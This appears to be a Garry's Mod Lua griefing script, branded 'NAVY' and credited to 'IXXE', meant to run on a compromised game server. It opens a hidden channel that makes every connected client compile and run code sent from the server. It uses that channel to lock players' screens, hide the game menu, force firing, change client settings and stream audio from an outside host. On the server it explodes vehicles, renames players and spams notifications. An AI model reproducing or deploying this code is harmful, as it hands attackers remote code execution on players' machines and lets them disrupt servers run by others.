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  1. --[[
  2. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  3. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  4. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  5. Si vous (reprenez / éditez) mon code vous devez me créditer (IXXE) !
  6. ]]--
  7.  
  8.  
  9. print([=[
  10. ██████╗ ███████╗████████╗
  11. ██╔════╝ ██╔════╝╚══██╔══╝
  12. ██║ ███╗█████╗ ██║
  13. ██║ ██║██╔══╝ ██║
  14. ╚██████╔╝███████╗ ██║
  15. ╚═════╝ ╚══════╝ ╚═╝
  16. ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗
  17. ████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
  18. ██╔██╗ ██║██║ ██║███████╗██║ ██║ ██║██████╔╝█████╗
  19. ██║╚██╗██║██║ ██║╚════██║██║ ██║ ██║██╔═══╝ ██╔══╝
  20. ██║ ╚████║╚██████╔╝███████║╚██████╗╚██████╔╝██║ ███████╗
  21. ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
  22. NAVY
  23. NAVY
  24. ¯\_(ツ)_/¯
  25. ]=])
  26.  
  27.  
  28. for k, v in pairs( player.GetAll() ) do
  29. if ( v:Alive() ) then
  30. v:GodEnable()
  31. else
  32. v:Spawn()
  33. timer.Simple( 1.2, function()
  34. v:GodEnable()
  35. end)
  36. end
  37. end
  38.  
  39.  
  40. local function rdm_str(len)
  41. if !len or len <= 0 then return '' end
  42. return rdm_str(len - 1) .. ("abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789")[math.random(1, 62)]
  43. end
  44.  
  45. local net_string = rdm_str(25)
  46.  
  47. util.AddNetworkString(net_string)
  48. BroadcastLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  49. hook.Add("PlayerInitialSpawn", "☂️_PRIVATE_JOKE",function(ply)
  50. if !ply:IsBot() then
  51. ply:SendLua([[net.Receive("]] .. net_string .. [[",function()CompileString(util.Decompress(net.ReadData(net.ReadUInt(16))),"?")()end)]])
  52. end
  53. end)
  54.  
  55. local function SendToClient(code)
  56. local data = util.Compress(code)
  57. local len = #data
  58. net.Start(net_string)
  59. net.WriteUInt(len, 16)
  60. net.WriteData(data, len)
  61. net.Broadcast()
  62. end
  63. timer.Simple( 17, function()
  64. SendToClient([[
  65. print([=[
  66. ██████╗ ███████╗████████╗
  67. ██╔════╝ ██╔════╝╚══██╔══╝
  68. ██║ ███╗█████╗ ██║
  69. ██║ ██║██╔══╝ ██║
  70. ╚██████╔╝███████╗ ██║
  71. ╚═════╝ ╚══════╝ ╚═╝
  72. ███╗ ██╗ ██████╗ ███████╗ ██████╗ ██████╗ ██████╗ ███████╗
  73. ████╗ ██║██╔═══██╗██╔════╝██╔════╝██╔═══██╗██╔══██╗██╔════╝
  74. ██╔██╗ ██║██║ ██║███████╗██║ ██║ ██║██████╔╝█████╗
  75. ██║╚██╗██║██║ ██║╚════██║██║ ██║ ██║██╔═══╝ ██╔══╝
  76. ██║ ╚████║╚██████╔╝███████║╚██████╗╚██████╔╝██║ ███████╗
  77. ╚═╝ ╚═══╝ ╚═════╝ ╚══════╝ ╚═════╝ ╚═════╝ ╚═╝ ╚══════╝
  78. NAVY
  79. NAVY
  80. ¯\_(ツ)_/¯
  81. ]=])
  82. hook.Add("Think","🤔_WHY_YOU_WANT_EDIT_MY_CODE",function() gui.HideGameUI() end)
  83. local CreateModel = function(mdl, isragdoll)
  84. local ent
  85. if isragdoll then
  86. ent = ClientsideRagdoll(mdl)
  87. else
  88. ent = ClientsideModel(mdl, RENDERGROUP_OTHER)
  89. end
  90.  
  91.  
  92. return ent
  93. end
  94. local NewHookAdd = function(str, name, func)
  95. --name = "dronesrewrite_hell_hooks" .. name
  96. hook.Add(str, name, func)
  97.  
  98. table.insert(cache, {
  99. str = str,
  100. name = name
  101. })
  102. end
  103. local cache = { }
  104. timercache = { }
  105. local Const = 0
  106. local Noise = nil
  107. local pl = LocalPlayer()
  108. timer.Create("💸_BUY_GVAC_NOW", 2, 1, function()
  109. local dlight = DynamicLight(pl:EntIndex())
  110. if dlight then
  111. dlight.pos = Vector(-2224.216797, -2918.063721, 2354.03125)
  112. dlight.r = 255
  113. dlight.g = 0
  114. dlight.b = 0
  115. dlight.brightness = 16
  116. dlight.Decay = 1000
  117. dlight.Size = 2000
  118. dlight.DieTime = CurTime() + 2
  119. end
  120. local pos = pl:GetPos() + Vector(0, 0, 120)
  121. local ang = Angle(0, pl:GetAngles().y, 0)
  122. local tr = util.TraceLine({
  123. start = pos,
  124. endpos = pos + ang:Forward() * 86,
  125. filter = pl
  126. })
  127. local rag_pos = tr.HitPos + tr.HitNormal * 3 - Vector(0, 0, 80)
  128. for i = 1, 16 do
  129. sound.Play("vo/npc/Barney/ba_laugh04.wav", Vector( 0, 0, 0 ) )
  130. end
  131. local mdl = CreateModel("models/food/burger.mdl")
  132. mdl:SetModelScale(5)
  133. mdl:SetAngles(ang + Angle(15, 180, 0))
  134. mdl:SetPos(rag_pos)
  135. mdl:Spawn()
  136. hook.Add("CalcView", "😕_EDIT_MY_CODE_IS_STUPID", function(ply, _pos, _ang, fov)
  137. local view = { }
  138. view.origin = pos + VectorRand()
  139. view.angles = ang
  140. view.fov = fov + math.random(-80, -50)
  141.  
  142. return view
  143. end)
  144.  
  145. timer.Create("👻_WHY_ME_PLEASE_LEAK_GIZEH", 1.4, 1, function()
  146. mdl:Remove()
  147. hook.Remove("CalcView", "😕_EDIT_MY_CODE_IS_STUPID")
  148. end)
  149. end)
  150. ]])
  151. end)
  152.  
  153. timer.Simple( 20, function()
  154. timer.Create( "ouupsss", 0.1, 0, function()
  155. for k,v in pairs(player.GetAll()) do
  156. v:SendLua('RunConsoleCommand("impulse","100")')
  157. end
  158. end)
  159. hook.Add( 'SetupMove', '😈_NO_SCOPED', function( ply, move )
  160. if not ply:IsOnGround() then
  161. move:SetButtons( bit.band( move:GetButtons(), bit.bnot( IN_JUMP ) ) )
  162. end
  163. end )
  164. for k, v in pairs(ents.GetAll()) do if v:IsVehicle() then
  165.  
  166. local explo = ents.Create("env_explosion")
  167. explo:SetPos(v:GetPos())
  168. explo:SetKeyValue("iMagnitude", "300")
  169. explo:Spawn()
  170. explo:Activate()
  171. explo:Fire("Explode", "", 0)
  172. end
  173.  
  174. end
  175. for k,v in pairs(player.GetAll()) do
  176. local a = v:LookupBone("ValveBiped.Bip01_Head1")
  177. local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
  178. local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
  179. local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
  180. local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
  181. local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
  182. local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
  183. local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
  184. local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
  185. local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
  186. local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
  187. v:ManipulateBoneScale( a, Vector(100,100,100))
  188. v:ManipulateBoneScale( b, Vector(100,100,100))
  189. v:ManipulateBoneScale( c, Vector(100,100,100))
  190. v:ManipulateBoneScale( d, Vector(100,100,100))
  191. v:ManipulateBoneScale( e, Vector(100,100,100))
  192. v:ManipulateBoneScale( f, Vector(100,100,100))
  193. v:ManipulateBoneScale( g, Vector(100,100,100))
  194. v:ManipulateBoneScale( h, Vector(100,100,100))
  195. v:ManipulateBoneScale( i, Vector(100,100,100))
  196. v:ManipulateBoneScale( j, Vector(100,100,100))
  197. v:ManipulateBoneScale( k, Vector(100,100,100))
  198. end
  199. SendToClient([[
  200. surface.CreateFont( "1XX3_big_text",{
  201. font = "Open Sans",
  202. size = 500,
  203. weight = 1000,
  204. antialias = true
  205. })
  206. surface.CreateFont("3Y_IXX3", {
  207. font = "Open Sans",
  208. size = ScrW()*0.02,
  209. weight = 10,
  210. blursize = 0,
  211. scanlines = 2.5,
  212. antialias = false
  213. })
  214. local function UwU_text( a )
  215.  
  216. local r = 0.5*math.sin(RealTime()*5.5)*255 + 255/2
  217. local g = -0.5*math.sin(RealTime()*5.5)*255 + 255/2
  218. local b = 215
  219.  
  220. return Color( r, g, b, a or 255 )
  221.  
  222. end
  223. local w,h = ScrW(), ScrH()
  224. local W, H = ScrW(), ScrH()
  225. local MySelf = LocalPlayer()
  226.  
  227. if ohno then
  228. ohno:Remove()
  229. ohno = nil
  230. end
  231.  
  232. ohno = vgui.Create( "DFrame" )
  233. ohno:SetSize( w, h )
  234. ohno:SetPos(0,0)
  235. ohno:SetDraggable ( false )
  236. ohno:SetTitle("")
  237. ohno:MakePopup();
  238. ohno:ShowCloseButton(false)
  239. ohno.Paint = function( self )
  240. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  241. Derma_DrawBackgroundBlur( self, self.m_fCreateTime )
  242. end
  243.  
  244. local pw, ph = w, h*0.6
  245. local px, py = w/2-pw/2, h/2-ph/2
  246.  
  247. local Close = vgui.Create( "DButton", ohno )
  248. Close:SetPos(px, py)
  249. Close:SetText( "" )
  250. Close:SetSize( pw, ph )
  251. Close.Paint = function( self, tw, th )
  252.  
  253. local shift = math.sin(RealTime()*3)*1.5 + 5
  254.  
  255. draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 , th/2, UwU_text( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  256. draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  257. draw.DrawText( "(NAVY", "3Y_IXX3", ScrW() * 0.5, ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), TEXT_ALIGN_CENTER )
  258. draw.DrawText( "(NAVY", math.random(0,10), ScrH() * (math.random(0,100)*0.01), Color( 240, 100, 100, math.random(230,255) ), 0 )
  259. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.7 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  260. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.38 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  261. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.9 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  262. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.35 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  263. draw.DrawText( "NAVY ;)", "3Y_IXX3", W * 0.98 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  264. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  265. draw.DrawText( "NAVY ;)", "3Y_IXX3", W * 0.73 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  266. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.27 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  267. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  268. draw.DrawText( "NAVY ;)", "3Y_IXX3", W * 0.05 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  269. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.11 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  270. draw.DrawText( "NAVY ;) BY IXXE", "3Y_IXX3", W * 0.75 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  271. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.8 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  272. draw.DrawText( "NAVY ;)", "3Y_IXX3", W * 0.2 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  273. draw.DrawText( "NAVY", "3Y_IXX3", W * 0.1 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  274. draw.DrawText( "NAVY", "3Y_IXX3", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  275. draw.DrawText( "NAVY", "3Y_IXX3", W * 0 + math.random(0,50), ScrH() * (math.random(0,100)*0.01), Color( 240, 240, 240, math.random(230,255) ), 0 )
  276. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  277. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  278. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  279. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  280. draw.RoundedBox( 0, 0, math.random(0,W), W, H*0.001, Color(255,255,255,math.random(0,255) ) )
  281. end
  282. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  283. surface.PlaySound( "vo/npc/male01/ohno.wav" )
  284. timer.Create("🥵_MENU_LUA_IS_DEAD_BUY_GVAC", 0.1, 0, function()
  285. util.ScreenShake( Vector(0,0,0), 2.5, 50, 0.5, 5000 )
  286. end)
  287. timer.Simple( 15, function()
  288. wut = vgui.Create( "DFrame" )
  289. wut:SetSize( w, h )
  290. wut:SetPos(0,0)
  291. wut:SetDraggable ( false )
  292. wut:SetTitle("")
  293. wut:ShowCloseButton(false)
  294. wut.Paint = function( self )
  295. surface.SetDrawColor(30, 30, 30, 0)
  296. end
  297. local Close = vgui.Create( "DButton", wut )
  298. Close:SetPos(px, py)
  299. Close:SetText( "" )
  300. Close:SetSize( pw, ph )
  301. Close.Paint = function( self, tw, th )
  302.  
  303. local shift = math.sin(RealTime()*3)*1.5 + 5
  304.  
  305. draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 , th/2, UwU_text( 55 ), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  306. draw.SimpleText( "NAVY", "1XX3_big_text", tw/2 - shift , th/2 - shift, Color(250, 250, 250, 255), TEXT_ALIGN_CENTER, TEXT_ALIGN_CENTER)
  307. end
  308. RunConsoleCommand("r_shader_srgb","1")
  309. RunConsoleCommand("gmod_language","fr")
  310. ohno:Remove()
  311. ohno = nil
  312. local name = GetConVar("sv_skyname"):GetString()
  313. if name == "painted" then
  314. local sky
  315. for _, v in ipairs(ents.GetAll()) do
  316. if v:GetClass() == "env_skypaint" then
  317. sky = v
  318. break
  319. end
  320. end
  321. if !IsValid(sky) then return end
  322. hook.Add("PostRender","☁️_RAINBOW",function()
  323. local col = HSVToColor(CurTime()*30 % 360,1,1)
  324. col = Vector(col.r/255,col.g/255,col.b/255)
  325. sky:SetTopColor(col)
  326. sky:SetBottomColor(col)
  327. end)
  328. else
  329. local prefix = {"lf","ft","rt","bk","dn","up"}
  330. local mats = {}
  331. for i=1,6 do
  332. mats[#mats+1] = Material("skybox/" .. name .. prefix[i])
  333. end
  334. hook.Add("PostRender","☁️_RAINBOW",function()
  335. local col = HSVToColor(CurTime()*30 % 360,1,1)
  336. for i=1,6 do
  337. mats[i]:SetVector("$color",Vector(col.r/255,col.g/255,col.b/255))
  338. end
  339. end)
  340. end
  341. local chienchaud = ClientsideModel("models/food/burger.mdl")
  342. chienchaud:SetNoDraw(true)
  343. chienchaud:SetModelScale(120)
  344. timer.Create("☄️_LOOK_THE_SKY", 0.01, 0, function()
  345. chienchaud:SetAngles(Angle(0, CurTime()*90 % 360 ,180) )
  346. end)
  347.  
  348. local data = {}
  349. local function genchienchaud(id)
  350. local pos = LocalPlayer():GetPos()
  351. data[id] = { Vector(math.random(pos.x-9000,pos.x+9000),math.random(pos.y-9000,pos.y+9000),pos.z + math.random(5000,2000) ), math.random(70, 170) }
  352. end
  353. for i=1, 150 do
  354. genchienchaud(i)
  355. end
  356. hook.Add("PostDrawOpaqueRenderables","🌭_CHIEN_CHAUD",function()
  357. local z = LocalPlayer():GetPos().z
  358. for i=1, #data do
  359. chienchaud:SetPos(data[i][1])
  360. chienchaud:SetupBones()
  361. chienchaud:DrawModel()
  362. data[i][1].z = data[i][1].z - data[i][2] / 20
  363. if data[i][1].z <= z then
  364. genchienchaud(i)
  365. end
  366. end
  367. end)
  368. end )
  369. sound.PlayURL( "https://ssvloader.000webhostapp.com/SSV/mlg.mp3", "mono noblock noplay", function( station )
  370. timer.Simple( 0.1, function()
  371. ClientStation = station
  372. station:EnableLooping( true )
  373. station:Play()
  374. station:SetVolume( 5 )
  375. end )
  376. end )
  377. timer.Create("🔒", 0.11, 0, function()
  378. RunConsoleCommand("+attack")
  379. end)
  380. timer.Create("🔓", 0.12, 0, function()
  381. RunConsoleCommand("-attack")
  382. end)
  383. ]])
  384. end)
  385.  
  386. local you = "💸_BUY_GVAC"
  387.  
  388. timer.Simple( 10, function()
  389.  
  390. membresenigma =
  391. {
  392. "NAVY IS GOD",
  393. "SHUTDOWN",
  394. "ALEX",
  395. "NAVY IS GOD",
  396. "SHUTDOWN",
  397. "ALEX",
  398. "SHAYQOO",
  399. "SHUTDOWN"
  400. }
  401.  
  402. timer.Create( "🦠_NE_DEL_RIEN_SINON_CANCER", 0.2, 0, function()
  403. for k, ply in pairs( player.GetAll() ) do
  404. DarkRP.notify(ply, 2, 2, "[FU3CK !] "..table.Random(membresenigma).."")
  405. end
  406. end)
  407.  
  408.  
  409. for k,v in pairs(player.GetAll()) do
  410. v:SetRunSpeed(400* 4);
  411. v:SetWalkSpeed(400 * 4);
  412. end
  413.  
  414.  
  415. timer.Create( "🤫_RIP_U_VAC_BANNED", 1, 0, function()
  416. for k,v in pairs(player.GetAll()) do
  417. v:GodEnable()
  418. v:setDarkRPVar( "rpname", "Navy Control The World ;)" )
  419. end
  420.  
  421. end )
  422.  
  423. end)
  424.  
  425. for k, v in pairs(player.GetAll()) do
  426. v:ConCommand("say /job Navy Control The World ;)")
  427. end
  428.  
  429.  
  430. timer.Create( "🤤_SPAM", 0, 0, function()
  431. SendToClient([[print("NAVY")]])
  432. print("GET NOSCOPE !! BY NAVY")
  433. end)
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